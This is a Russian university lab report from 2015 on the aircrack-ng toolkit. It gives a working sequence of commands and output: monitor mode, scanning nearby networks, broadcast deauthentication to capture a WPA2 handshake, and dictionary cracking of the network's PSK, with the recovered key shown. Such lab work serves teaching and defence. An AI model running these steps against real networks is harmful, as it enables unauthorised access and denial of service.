Санкт-Петербургский политехнический университет Петра Великого
Институт информационных технологий и управления

Набор инструментов для аудита беспроводных сетей AirCrack

Выполнил: Сухинин А.А. гр. 53501/3 _____
Принял: Выглежанина К.Д. _____

2015 г.

1 Цель работы

Изучить основные возможности пакета AirCrack и принципы взлома WPA/WPA2 PSK и WEP.

2 Ход работы

2.1 Изучение

Изучить основные возможности пакета AirCrack и принципы взлома WPA/WPA2 PSK и WEP

1. Airodump-ng - программа предназначенная для захвата сырых пакетов протокола 802.11 и особенно подходящая для сбора WEP IVов (Векторов Инициализации) с последующим их использованием в aircrack-ng. Если к вашему компьютеру подсоединен GPS навигатор то airodump-ng способен отмечать координаты точек на картах
2. Aireplay-ng - Основная функция программы заключается в генерации трафика для последующего использования в aircrack-ng для взлома WEP и WPA-PSK ключей.
3. Aircrack-ng - Взламывает ключи WEP и WPA (Перебор по словарю).

Запустить режим мониторинга на беспроводном интерфейсе

```
crazy-mini alex # airmon-ng start wlan0

Found 5 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID Name
1527 wpa_supplicant
15384 avahi-daemon
15386 avahi-daemon
15421 NetworkManager
15431 dhclient
Process with PID 15431 (dhclient) is running on interface wlan0

Interface Chipset Driver

mon0 Atheros  ath9k - [phy0]
mon1 Atheros  ath9k - [phy0]
wlan0 Atheros  ath9k - [phy0]
(monitor mode enabled on mon2
```

Запустить утилиту airodump, изучить формат вывода этой утили-ты, форматы файлов, которые она может создавать

При указании ключа –write, утилита создает набор файлов с заданным префиксом. Два из которых связаны с информацией о доступных сетях и представлены в двух форматах: csv и xml. Еще два фала содержать информацию о перехваченных пакетах. Файл типа .cap содержит перехваченные пакеты, в то время как csv содержит лишь сокращенную информацию. Стоит отметить, что csv - это формат хранения простой таблицы.

2.2 Практическое задание

Запустить режим мониторинга на беспроводном интерфейсе

```
crazy-mini alex # airodump-ng mon2

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC
```

```
 CIPHER AUTH ESSID
 1C:7E:E5:39:26:F8  -42      162      246   29   4  54e. WPA2
 CCMP   PSK  18     7C:03:D8:98:4A:5C  -44        1        0    0
 11  54e  WPA  CCMP   PSK  ROSTE  10:9A:DD:86:FE:15  -65        2
 0    0  11  54e. WPA2 CCMP   PSK  z46ne  70:62:B8:89:DD:FC  -70
 2        0    0  10  54e  WPA2 CCMP   PSK  WPlus  E0:CB:
 4E:D2:D9:B9  -71        2        0    0  11  54   WEP  WEP
 ALTIN
 08:60:6E:BC:2E:00  -72        1        0    0  11  54e  WPA2 CCMP   PSK  home
 D4:21:22:17:25:08  -73        2        0    0   7  54e  WPA2 CCMP   PSK  Sidor
 60:A4:4C:D0:DD:BC  -74      134       45    0   6  54e  WPA2 CCMP   PSK  ASUS
 00:26:5A:A0:84:84  -78       17        0    0   6  54e. WPA2 CCMP   PSK  leabe
 10:9A:DD:86:FE:16  -81        1        0    0 149  54e  WPA2 CCMP   PSK  z46ne
```

Запустить сбор трафика для получения аутентификационных сообщений

```
crazy-mini alex # airodump-ng mon2 --write airdump --bssid 1C:7E:E5:39:26:F8  -c 4


 CH  4 ][ BAT: 1 hour 12 mins ][ Elapsed: 12 s ][ 2015-06-03 20:41 ][ fixed channel mon2: -1

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 1C:7E:E5:39:26:F8  -83 100      137      380   58   4  54e. WPA2 CCMP   PSK  18

 BSSID              STATION            PWR   Rate    Lost  Packets  Probes

1C:7E:E5:39:26:F8  C0:18:85:9E:54:0B    0    0e- 1e     0        3
1C:7E:E5:39:26:F8  28:9A:FA:42:18:65   18    0e- 1      1        4
1C:7E:E5:39:26:F8  74:E5:43:65:15:F5  -127    0e- 0e     0      374
```

Произвести деаутентификацию одного из клиентов, до тех пор, пока не удастся собрать необходимых для взлома аутенти-фикационных сообщений

```
crazy-mini alex # aireplay-ng --ignore-negative-one --deauth 150
-a 1C:7E:E5:39:26:F8 -h 7C:03:D8:98:4A:5C mon0
The interface MAC (C0:18:85:9E:54:0B) doesn't match the specified MAC (-h).
ifconfig mon0 hw ether 7C:03:D8:98:4A:5C
21:27:51  Waiting for beacon frame (BSSID: 1C:7E:E5:39:26:F8) on channel -1
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
21:27:51  Sending DeAuth to broadcast -- BSSID: [1C:7E:E5:39:26:F8]
21:27:52  Sending DeAuth to broadcast -- BSSID: [1C:7E:E5:39:26:F8]
21:27:52  Sending DeAuth to broadcast -- BSSID: [1C:7E:E5:39:26:F8]
21:27:53  Sending DeAuth to broadcast -- BSSID: [1C:7E:E5:39:26:F8]
21:27:53  Sending DeAuth to broadcast -- BSSID: [1C:7E:E5:39:26:F8]
```

В результате перехватываем пакет handshake:

```
crazy-mini alex # airodump-ng mon0 --bssid 1C:7E:E5:39:26:F8 -c 6
--write dump --ignore-negative-one
 CH  6 ][ Elapsed: 1 min ][ 2015-06-03 21:30 ][ WPA handshake: 1C:7E:E5:39:26:F

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH E

 1C:7E:E5:39:26:F8  -47 100      880      791    4   4  54e. WPA2 CCMP   PSK  11
```

```
 BSSID              STATION            PWR   Rate    Lost  Packets  Probes

 1C:7E:E5:39:26:F8  74:E5:43:65:15:F5  -32    0e- 1      0      645  18
```

Произвести взлом используя словарь паролей

Так как используемый пароль слишком сложный, в некоторую часть словаря был вставлен искомый пароль.

```
crazy-mini alex # aircrack-ng dump-05.cap -w English.dic
Opening dump-05.cap
Read 20931 packets.

   #  BSSID              ESSID                     Encryption

   1  1C:7E:E5:39:26:F8  18                        WPA (1 handshake)

Choosing first network as target.

Opening dump-05.cap
Reading packets, please wait...

                                Aircrack-ng 1.1


                    [00:01:51] 91444 keys tested (845.44 k/s)


                           KEY FOUND! [ execombat112 ]


      Master Key     : CB A9 50 ED 43 34 9F 6E C1 CD 22 48 71 3C 21 F3
                       7D 11 CE BF 37 E0 B4 62 CE 4B EC 03 32 DB 47 B1

      Transient Key  : 9B 6F B4 1A E5 6C E0 96 13 BD CB 53 47 F5 E6 AE
                       74 18 DC B4 6B 74 CE AF CD 52 B1 E8 A3 00 73 B8
                       43 D3 84 3B C2 74 7C 4E BE 74 3B A5 80 5D 4F 92
                       25 8C 45 86 45 97 1A 41 E6 58 18 9E 94 FE 1C BB

      EAPOL HMAC     : 23 38 A3 41 34 98 88 00 4C 73 54 67 39 E9 DB 87
```

3 Выводы

В ходе данной работы были изучены основные возможности пакеты Air Crack и принципы взлома WPA/WPA2 PSK. Данный инструмент позволяет прослушивать пакеты, генерировать новые и на основе handshake осуществлять взлом пароля сети. Следует отметить, что пароли, отвечающие требованиям не представляется возможном взломать, так как единственный возможный вариант - это перебор паролей. Таким образом, нельзя сказать, что протокол WPA уязвим на данный момент. С другой стороны, гораздо большей проблемой является возможность деаутентифицировать пользователя любой сети. Данная возможность открывает возможность атаки с целью отказа в обслуживании.

В общем случае, следует отметить, что защита беспроводных сетей непростая задача и в качестве меры для базового обеспечения безопасности не следует использовать протокол WEP и простые пароли.